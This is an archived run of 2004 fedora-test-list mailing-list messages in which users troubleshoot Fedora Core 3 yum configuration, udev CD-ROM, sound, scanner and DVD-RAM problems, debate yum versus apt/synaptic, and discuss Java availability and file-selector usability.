Message-ID: <1100196902.3705.14.camel@localhost.localdomain> Excellent advice. Thanks. On Thu, 2004-11-11 at 10:08 -0800, Per Bjornsson wrote: > On Thu, 2004-11-11 at 10:44 -0700, Kim Lux wrote: > > I've got the files. I haven't removed them. yum isn't looking at an > > FC3-release repository. It is looking at FC3-development. > > Aha! I've got an idea: If you changed the /etc/yum.conf file when you > had an older version of yum, the new version won't clobber your config > file. Check if you have a file called /etc/yum.conf.rpmnew . If you do, > move your old /etc/yum.conf somewhere else (say, yum.conf.old - you can > of course just rm this file when you've got a new working config but > keep it around for reference for now) and then > mv /etc/yum.conf.rpmnew /etc/yum.conf > > Then it should start looking at the files in /etc/yum.repo.d/ and if you > haven't changed those it will point to FC3 + updates. > > Good luck! > Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From perbj at stanford.edu Thu Nov 11 18:17:15 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 10:17:15 -0800 Subject: CD troubled [Re: Why don't you guys like synaptic?] In-Reply-To: <1100195051.4069.20.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> Message-ID: <1100197035.3560.10.camel@localhost.localdomain> Just a quick side note: It's quite likely that actually getting your computer back on the FC3 updates track will fix your CD troubles (without mucking around with ide-scsi or anything like that), apparently the version of udev in the release was a bit quirky with a bunch of CD- ROMs. The new version is also faster in my experience. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From jspaleta at gmail.com Thu Nov 11 18:21:47 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 11 Nov 2004 13:21:47 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100195051.4069.20.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> Message-ID: <604aa79104111110216ab01f3f@mail.gmail.com> On Thu, 11 Nov 2004 10:44:11 -0700, Kim Lux wrote: > I've got the files. I haven't removed them. yum isn't looking at an > FC3-release repository. It is looking at FC3-development. a couple of things to look at because of the way you upgraded from release candidate. 1) /etc/yum.conf should not have ANY repository definitions in it by default please check to be sure that you are using the default /etc/yum.conf that comes with fc3, and not an older yum.conf. You might find that rpm installed the default configuration file as yum.conf.rpmnew and left your previous yum.conf alone. The default yum.conf in fc3 should only have global variable definitions and should not include a repository entry. 2) Please look over each repo file included on the system in the repo.d directory. only certain files in that directory should have active repository entries. The others will have commented out entries that you can choose to enable by removing the leading # comments. Please make sure the the fedora-release and fedora-updates repo entries exist and are enabled. Please make sure the development entry if there is one is commented out. -jef From perbj at stanford.edu Thu Nov 11 18:29:05 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 10:29:05 -0800 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100196875.3705.13.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> <1100196875.3705.13.camel@localhost.localdomain> Message-ID: <1100197746.3560.20.camel@localhost.localdomain> On Thu, 2004-11-11 at 11:14 -0700, Kim Lux wrote: > It got me a week of developing with kdevelop ! What was I supposed to > do ? Sit and do nothing ? I've got a project deadline going here. Of course you should use the tools you need to do your job. What I actually meant to ask was why it would be better to spend time on rolling a fixed-up release (FC3.1) instead of just letting people install FC3 and then update using Yum/up2date. For something as fast- moving as Fedora the release process itself is a significant time sink. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From lux at diesel-research.com Thu Nov 11 18:30:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:30:09 -0700 Subject: hp6200c scanner In-Reply-To: <1100196487.3479.6.camel@p430desktop> References: <1100196487.3479.6.camel@p430desktop> Message-ID: <1100197809.4042.0.camel@localhost.localdomain> I just tested my Umax Astra 3400. It is recognized by the kernel. It works perfectly under kooka, the KDE scanning utility. I just thought I'd share. On Thu, 2004-11-11 at 11:08 -0700, Andrew Couture wrote: > Hello folks, > > I was running FC3T3 on my p3/500 dell inspiron laptop. The usb hp > scanner worked slowly, but worked. Upgraded to release FC3, and now no > joy. tail -f /var/log/messages shows the vendor, product and > libusb:001:25(address). sane-find-scanner looks for a scanner and seems > to hang, then I unplug the scanner usb cord, and the information pops up > and my system. While scanner is plugged in, all other usb devices slow > down. > Any thoughts, hints or words of wisdom would be welcome > > andrew > -- Kim Lux (Mr.) Diesel Research Inc From si at bananas.hopto.org Thu Nov 11 18:33:52 2004 From: si at bananas.hopto.org (Si Jones) Date: Thu, 11 Nov 2004 18:33:52 +0000 Subject: DVD Ram Mounting Issue In-Reply-To: <1100196214.4014.15.camel@davidz> References: <1099676455.3768.2.camel@apple.bananas.hopto.org> <1100118109.7649.3.camel@davidz> <20041110225920.GA30430@devserv.devel.redhat.com> <1100188677.4014.7.camel@davidz> <20041111155941.GC4243@devserv.devel.redhat.com> <1100196214.4014.15.camel@davidz> Message-ID: <1100198032.3381.2.camel@apple.bananas.hopto.org> On Thu, 2004-11-11 at 13:03 -0500, David Zeuthen wrote: > > So, in light of this discussion, I guess it makes sense to remove the > 'ro' option from any entry in the /etc/fstab for optical drives. I will > prepare an update of hal for FC3 so Si can actually use his DVD-RAM > drive and media without dropping to a root shell. > Thank you!!! If you want me to test it let me know, will I have to use the dev repo to get the update???... Cheers Si From jerone at gmail.com Thu Nov 11 18:35:37 2004 From: jerone at gmail.com (Jerone Young) Date: Fri, 12 Nov 2004 12:35:37 +1800 Subject: FC3 Final: no sound In-Reply-To: <4193ABDE.70400@linux.net.mk> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> <4193ABDE.70400@linux.net.mk> Message-ID: <9f50a7a004111110354450bcd@mail.gmail.com> I'm thinking udev could be this issue. I don't see how it doesn't work though. None of the via82xx driver didn't change between rc1 & rc5 in the kernel. If you must just go to alsa-project.org and download and install the drivers from there (they will replace the current kernel drivers). My take is that the Upgrade option from any test release (rc2) is just going to give unneed headache. I keep my home and directory on a seprate partions, backup need data. On Thu, 11 Nov 2004 19:13:50 +0100, Arangel Angov wrote: > Kim Lux wrote: > > >Arangel: I wouldn't re install Linux. Someone gave me the upgrade > >excuse when I had a sound problem. I re installed and it didn't make > >any difference. > > > >I had a sound problem with a laptop with an intel-8x0m device. > > > >I added snd-intel8x0m to /etc/hotplug/blacklist and rebooted. > > > > > > Tried this too. No result. Still no sound. > > >I went to the KDE->ControlCenter->Sound & Multimedia-> Sound System- > > > > > > I don't use KDE, but that's irrelevant, the thing is, I don't understand > how it could work on fc3rc1 with the same module and not work on fc3 > final. :0 > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From lux at diesel-research.com Thu Nov 11 18:38:19 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:38:19 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100197746.3560.20.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> <1100196875.3705.13.camel@localhost.localdomain> <1100197746.3560.20.camel@localhost.localdomain> Message-ID: <1100198299.4042.7.camel@localhost.localdomain> I agree that using up2date works fine, except: a) are there issues that won't be fixed by up2date ? b) when the issue involves the install process, like disk_druid did in FC2. c) people have to know to run up2date and/or have to be able to. Ie they need a network and a working network. I've got some workstations that are NOT on any network, on purpose. I know enough to get them updated via a temp network connection. What about people that don't have an internet connector or have a dial up ? d) kernel updates need to come through up2date. I know they do now/for FC, but at one time they didn't. If the problem can be fixed with up2date, it shouldn't take much to change the packages on the ISOs and create a fc3.1 directory. On Thu, 2004-11-11 at 10:29 -0800, Per Bjornsson wrote: > On Thu, 2004-11-11 at 11:14 -0700, Kim Lux wrote: > > It got me a week of developing with kdevelop ! What was I supposed to > > do ? Sit and do nothing ? I've got a project deadline going here. > > Of course you should use the tools you need to do your job. What I > actually meant to ask was why it would be better to spend time on > rolling a fixed-up release (FC3.1) instead of just letting people > install FC3 and then update using Yum/up2date. For something as fast- > moving as Fedora the release process itself is a significant time sink. > > /Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 18:39:58 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:39:58 -0700 Subject: CD troubled [Re: Why don't you guys like synaptic?] In-Reply-To: <1100197035.3560.10.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> <1100197035.3560.10.camel@localhost.localdomain> Message-ID: <1100198398.4042.9.camel@localhost.localdomain> I hope you are right. I am able to run up2date without issues and have updated with everything that way. I think an updated uDev went in yesterday. $ rpm -q udev udev-039-10.FC3.1 On Thu, 2004-11-11 at 10:17 -0800, Per Bjornsson wrote: > Just a quick side note: It's quite likely that actually getting your > computer back on the FC3 updates track will fix your CD troubles > (without mucking around with ide-scsi or anything like that), apparently > the version of udev in the release was a bit quirky with a bunch of CD- > ROMs. The new version is also faster in my experience. > > /Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From mattdm at mattdm.org Thu Nov 11 18:45:18 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 13:45:18 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100187712.4454.26.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> Message-ID: <20041111184518.GA30794@jadzia.bu.edu> On Thu, Nov 11, 2004 at 08:41:52AM -0700, Kim Lux wrote: > Fedora Core 3 is an outstanding OS except for a few (sometimes very big) > flaws. [snip] > the release. Why did we announce a big FC3 release when these problems > weren't fixed ? I fear that this sort of thing gives Linux in general a > big fat black eye This is the nature of software -- it only _approaches_ perfection. There's always some little bit more to fix or improve, and if you wait for everything, you'll never have _anything_. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From cochranb at speakeasy.net Thu Nov 11 18:51:24 2004 From: cochranb at speakeasy.net (Robert L Cochran) Date: Thu, 11 Nov 2004 13:51:24 -0500 Subject: Installing Java Message-ID: <4193B4AC.6080907@speakeasy.net> For Fedora Core 3, do I need to install a Java distribution, or is there a Java that already works? A quick check shows I have a jar utility installed but not, apparently, a java engine. The Release Notes say nothing about Java. Thanks Bob Cochran Greenbelt, Maryland, USA From lux at diesel-research.com Thu Nov 11 18:53:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:53:27 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041111184518.GA30794@jadzia.bu.edu> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> Message-ID: <1100199207.3866.0.camel@localhost.localdomain> In my mind there is a big difference between perfection and having a CDROM that doesn't work. On Thu, 2004-11-11 at 13:45 -0500, Matthew Miller wrote: > On Thu, Nov 11, 2004 at 08:41:52AM -0700, Kim Lux wrote: > > Fedora Core 3 is an outstanding OS except for a few (sometimes very big) > > flaws. > [snip] > > the release. Why did we announce a big FC3 release when these problems > > weren't fixed ? I fear that this sort of thing gives Linux in general a > > big fat black eye > > This is the nature of software -- it only _approaches_ perfection. There's > always some little bit more to fix or improve, and if you wait for > everything, you'll never have _anything_. > > > > > -- > Matthew Miller mattdm at mattdm.org > Boston University Linux ------> > -- Kim Lux (Mr.) Diesel Research Inc From lowen at pari.edu Thu Nov 11 18:44:54 2004 From: lowen at pari.edu (Lamar Owen) Date: Thu, 11 Nov 2004 13:44:54 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100191684.3094.38.camel@binkley> References: <419385DA.4080105@ku.edu><1100187829.4454.29.camel@localhost.localdomain><4348.12.29.16.103.1100190751.squirrel@whooper.org><1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> Message-ID: <1170.192.168.1.100.1100198694.squirrel@mail.pari.edu> Seth Vidal Wrote: > On Thu, 2004-11-11 at 09:49 -0700, Kim Lux wrote: >> That was my point: synaptic and apt use rpms. So if I've got a >> dependency issue with apt and synaptic, I'll be having a dependency >> issue with rpms as well. I'd much, much rather use synaptic to take >> care of those issues than doing it manually with rpms. > I understand it is not graphical (yet) but you do know that yum exists, > right? > yum install nameofpackage > it will download and install all the dependencies you need, too. I have used both apt-get for RPM and yum, and I have used both yumi (aka CoBind Manager) and synaptic. From a professional's point of view, synaptic/apt is superior in a number of ways: 1.) Header downloads are faster. I have timed the difference, using the same machine/OS, between a fresh 'yum update' run and an 'apt-get update && apt-get dist-upgrade' run. The apt run consistently finishes in a subtantially shorter amount of time, set up to use the same mirrors as the yum run. The yum run got bogged down in the header downloads. The difference in time was not small; I included DAG's RHEL3 repo in this instance, and, from a scratch WBEL3 respin1 install in both cases, the apt run took nearly two HOURS less time than the yum run. Downloading the headers from DAG took an hour and a half for yum, and less than five minutes for apt. This is on a T1 with a normally low-latency connection to MAE-East; congestion on the local pipe, according to mrtg, was similar during both runs. The machine on which this was running is a Dell PowerEdge 1750 (2.8GHz Xeon, 1GB RAM, 3x36GB 10kRPM U320 drives on a PERC4 RAID controller; machine performance is not an issue). I have duplicated the results for the yum run from home, where I have a DSL connection. I have duplicated the time lag about four times at this point, and a WBEL3r1->fully updated, KDE-Redhatted and DAGified WBEL3 takes approximately three hours to complete. I did virtually the same thing with Scientific Linux and went for SL303->KDE-Redhatted and DAGified SL in about an hour (downloading all the packages is close to an hour on my DSL). So it wasn't just a glitch in DAG's bandwidth. 2.) apt-get install and apt-get upgrade both run from the cache; thus, multiple install runs don't need to refresh the cache each and every run. Yum, OTOH, requires the specific use of -C to do this. Otherwise, each and every yum operation has to go out to the mirrors, refresh the header info, and might have to pull down new headers. Apt seems much faster in this regard. However, you do need to remember to apt-get update when needed, which might be considered a bad thing. 3.)Synaptic is not just head and shoulders better (from a user's point of view) than yumi currently, it is head, shoulders, torso, and legs better. Synaptic allows real package management, including seeing where your space hogs are in a very easy manner (sorting by size). I found yumi to be usable, but just barely so. The system-config-packages isn't even in the same league, since there is little to no documentation or configurability in use of third-party repos and individual package management (at least the last time I used it this was the case, but that has admittedly been a while). If some of synaptic's features can be added to yumi, yumi might be competitive. But the startup lag is so long and slow in non-local repo cases, that synaptic is just simply more of a joy to use because it feels more responsive. Now, synaptic has its own startup lag, but it is typically not as long as yumi's. Synaptic's ability to see into the package dependencies and dependents allows the user to remove packages if necessary in an intelligent manner. Both systems have dependency issues, and a yum repository is easier to set up and maintain. However, apt's configurability allows arcane command line parameters to at least troubleshoot the why of the problems. Yum's configurability is less stellar. I understand yum is intended to be simple, and for keeping a system up-to-date is is an excellent tool, paritcularly with a local repository where the latency issues of setting up a http GET for each and every header doesn't come into as much play as when you are accessing repositories halfway around the world (where it doesn't matter how fast the pipe is: TCP's windowing protocol limits your throughput regardless, and setting up the three-way handshake consumes significant time). In high-latency situations (which, if you are using, say, Scientific Linux and pulling packages from the KDE-redhat project, DAG's RHEL3 repository (in .be-land), and SL's own repository, is significant) yum loses to apt by simple network protocol metrics; apt downloads its large files (which benefit from TCP's window size increase algorithm) more quickly than yum can download its smaller files. Even if there have been few changes in the repository, I have found that an 'apt-get update && apt-get upgrade' sequence will have asked the user's confirmation and started downloading packages before a 'yum update' gets to the point of asking the user's confirmation. That is my experience here over a significant period of time. I tend to use both tools; yum for automatic updates, and synaptic for installing packages, or just seeing what new packages are out there (yumi's interface for installing new packages is not as easy to use as synaptic's: with synaptic, I can right click the package, select properties, and see at a glance what sort of dependencies a package has, see a description, etc). YMMV. And Seth, YUM does work, and it works well for its designed purpose (an updater). I use yum here with a local repository for Aurora Tangerine (SPARCLinux for those not familiar with it) since I have a 20 node Ultra30 cluster (well, not exactly a cluster, but close) running Tangerine. It behooves me to have a local repo in this case, and yum loses less in that instance. Note that these U30's only have 248MHz CPU's, 128MB RAM, and 4GB drives. Yum is faster on these boxes with a local (on the LAN) repo than it is on the Dell 1750 with non-local repos, showing that it seems to be network-bound performance-wise. Or, if you have space for it, a local rsync'd repo is a BIG WIN for yum performance. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From perbj at stanford.edu Thu Nov 11 18:54:57 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Thu, 11 Nov 2004 10:54:57 -0800 Subject: CD troubled [Re: Why don't you guys like synaptic?] In-Reply-To: <1100198398.4042.9.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> <1100197035.3560.10.camel@localhost.localdomain> <1100198398.4042.9.camel@localhost.localdomain> Message-ID: <1100199297.3560.25.camel@localhost.localdomain> On Thu, 2004-11-11 at 11:39 -0700, Kim Lux wrote: > I hope you are right. I am able to run up2date without issues and have > updated with everything that way. I think an updated uDev went in > yesterday. > > $ rpm -q udev > udev-039-10.FC3.1 Oops. That's the updated version. Seems like I was wrong, sorry. Listen to Alan Cox instead of me, he knows what he's talking about, apparently I didn't in this case. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From lux at diesel-research.com Thu Nov 11 18:56:38 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 11:56:38 -0700 Subject: CD troubled [Re: Why don't you guys like synaptic?] In-Reply-To: <1100199297.3560.25.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> <1100195051.4069.20.camel@localhost.localdomain> <1100197035.3560.10.camel@localhost.localdomain> <1100198398.4042.9.camel@localhost.localdomain> <1100199297.3560.25.camel@localhost.localdomain> Message-ID: <1100199398.3866.2.camel@localhost.localdomain> I appreciate the attempt anyway. Thanks. On Thu, 2004-11-11 at 10:54 -0800, Per Bjornsson wrote: > On Thu, 2004-11-11 at 11:39 -0700, Kim Lux wrote: > > I hope you are right. I am able to run up2date without issues and have > > updated with everything that way. I think an updated uDev went in > > yesterday. > > > > $ rpm -q udev > > udev-039-10.FC3.1 > > Oops. That's the updated version. Seems like I was wrong, sorry. Listen > to Alan Cox instead of me, he knows what he's talking about, apparently > I didn't in this case. > > /Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From balay at fastmail.fm Thu Nov 11 19:02:28 2004 From: balay at fastmail.fm (Satish Balay) Date: Thu, 11 Nov 2004 13:02:28 -0600 (CST) Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041111184518.GA30794@jadzia.bu.edu> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> Message-ID: On Thu, 11 Nov 2004, Matthew Miller wrote: > On Thu, Nov 11, 2004 at 08:41:52AM -0700, Kim Lux wrote: > > Fedora Core 3 is an outstanding OS except for a few (sometimes very big) > > flaws. > [snip] > > the release. Why did we announce a big FC3 release when these problems > > weren't fixed ? I fear that this sort of thing gives Linux in general a > > big fat black eye > > This is the nature of software -- it only _approaches_ perfection. There's > always some little bit more to fix or improve, and if you wait for > everything, you'll never have _anything_. Also - spending more time during beta-testing period & identifying/reporting breakages during that period (instead of after release). This is harder to.. Satish From mattdm at mattdm.org Thu Nov 11 19:05:40 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 14:05:40 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100199207.3866.0.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> Message-ID: <20041111190540.GA31782@jadzia.bu.edu> On Thu, Nov 11, 2004 at 11:53:27AM -0700, Kim Lux wrote: > In my mind there is a big difference between perfection and having a > CDROM that doesn't work. Yeah, but for every different user, there's a big difference between perfection and [insert favorite glitch here]. Can't make everyone happy; have to make a release eventually. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mattdm at mattdm.org Thu Nov 11 19:07:16 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 11 Nov 2004 14:07:16 -0500 Subject: Installing Java In-Reply-To: <4193B4AC.6080907@speakeasy.net> References: <4193B4AC.6080907@speakeasy.net> Message-ID: <20041111190716.GB31782@jadzia.bu.edu> On Thu, Nov 11, 2004 at 01:51:24PM -0500, Robert L Cochran wrote: > For Fedora Core 3, do I need to install a Java distribution, or is there > a Java that already works? A quick check shows I have a jar utility > installed but not, apparently, a java engine. The Release Notes say > nothing about Java. You have to install it separately. Sun does not license Java in a way that makes it freely redistributable (let alone open source). It can't be included with Fedora Core. PS: Fedora Core is no longer the development release -- it's done. Therefore, this question would be better on the main fedora-list. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From whb at ceimaine.org Thu Nov 11 19:12:02 2004 From: whb at ceimaine.org (Will Backman) Date: Thu, 11 Nov 2004 14:12:02 -0500 Subject: The new file selector and hidden files In-Reply-To: <41936F02.9000508@arcor.de> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> <41936F02.9000508@arcor.de> Message-ID: <1100200322.3555.1.camel@cei3772.empower.ceimaine.org> On Thu, 2004-11-11 at 14:54 +0100, D. Stolte wrote: > right click in the file listing part of the window :) > > /ds > It is such a bummer when features are hidden behind right-click menus. Makes the interface harder to use. This is why apple ships with single button mouse. Developers know that any right-click features have to also be in a menu or configuration dialog. From nbc at cisco.com Thu Nov 11 19:24:31 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Thu, 11 Nov 2004 14:24:31 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100194606.3094.50.camel@binkley> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100192891.4055.24.camel@localhost.localdomain> <1100193021.3313.88.camel@douglas-furlong.firebox.com> <1100193201.4055.31.camel@localhost.localdomain> <1100193158.3094.44.camel@binkley> <1100193567.4055.34.camel@localhost.localdomain> <1100193468.3094.46.camel@binkley> <1100194616.4069.11.camel@localhost.localdomain> <1100194606.3094.50.camel@binkley> Message-ID: <1100201071.16983.7.camel@nbc-linux.cisco.com> I have tried synaptic (and apt) in the past with some success, but I had problems getting it working reliably with FC2. I've just installed FC3 and I'd like to try again. Can someone point me at the correct rpm for apt and synaptic (along with the appropriate config files) for FC3?? Or do the rpm's not exist at this time? I have not figured out how to set up the various config files for up2date and yum - I know where they are, but I've tried to just leave them alone and assume they point to the correct spots... So a working apt config file would be much appreciated. I have done a fresh install of FC3. Thanks in advance, nbc From whooperhsd3 at earthlink.net Thu Nov 11 19:30:31 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 14:30:31 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1170.192.168.1.100.1100198694.squirrel@mail.pari.edu> References: <419385DA.4080105@ku.edu><1100187829.4454.29.camel@localhost.localdomain><4348.12.29.16.103.1100190751.squirrel@whooper.org><1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1170.192.168.1.100.1100198694.squirrel@mail.pari.edu> Message-ID: <4483.12.29.16.103.1100201431.squirrel@whooper.org> Lamar Owen said: [snip] > I have used both apt-get for RPM and yum, and I have used both yumi (aka > CoBind Manager) and synaptic. From a professional's point of view, > synaptic/apt is superior in a number of ways: [snip] from a scratch WBEL3 respin1 install in both cases, [snip] If you are basing your experience on WBEL, you are using an old version of yum. -- William Hooper From whooperhsd3 at earthlink.net Thu Nov 11 19:35:12 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 14:35:12 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100194571.4069.9.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> Message-ID: <1102.12.29.16.103.1100201712.squirrel@whooper.org> Kim Lux said: > There was a release (candidate) 8 ? Who said anything about a release candidate 8? > I thought we stopped at rc 5 ? I > agree that yum wouldn't upgrade anymore; I had the same problem and didn't > have time to stop and find out why. As mentioned by Nils, it is most likely your choice to try to upgrade a RC to the final release: >> Just a side note: yum wouldn't update fedora-release-3-rawhide to >> fedora-release-3-8 for me, I had to do this manually. The fedora-release-3-8 package is the appropriate package for FC3. > There was a communication problem between the testers and the team in > the last week or so prior to releasing. The fact that updates from test releases to final releases aren't supported (in the sense that anything Fedora is "supported") has been communicated to death. However some people just have issues coming to grips with the answer. You will have trouble trying to do it, and if you chose to do it plan on spending some time fixing it. -- William Hooper From douglas.furlong at firebox.com Thu Nov 11 19:34:54 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 19:34:54 +0000 Subject: The new file selector and hidden files In-Reply-To: <1100200322.3555.1.camel@cei3772.empower.ceimaine.org> References: <1080301625.7355.82.camel@localhost.localdomain> <4192DFDF.9090402@sbcglobal.net> <41936F02.9000508@arcor.de> <1100200322.3555.1.camel@cei3772.empower.ceimaine.org> Message-ID: <4193BEDE.3040101@firebox.com> Will Backman wrote: >On Thu, 2004-11-11 at 14:54 +0100, D. Stolte wrote: > > >>right click in the file listing part of the window :) >> >>/ds >> >> >> >It is such a bummer when features are hidden behind right-click menus. >Makes the interface harder to use. > > Personally I think some things should be intuitive but at the same time education is required. I've been using PC's since I was 12 or 13, and it did not take me long to learn that many things can be accessed through a right click, and it became the second, or first thing to try. I personaly do not feel that "hiding" some thing behind right clicks makes it harder to use, and I would rather the interface was not cluttered up. >This is why apple ships with single button mouse. Developers know that >any right-click features have to also be in a menu or configuration >dialog. > > I like the interface where right clicking on files, or Cell's in Calc, or highlighted words in Write, or Links in firefox, or emails in evolution (should I go on with the or's?) gives a context menu and additional options. A user is greeted with this in all of the applications they use, I don't see why it should not be the same in the drop down list. However, that being said, it may be advantagous to have some thing like "show hidden files" and a check box, that has it stated remembered for certain directories (I would almost never want it in ~/). 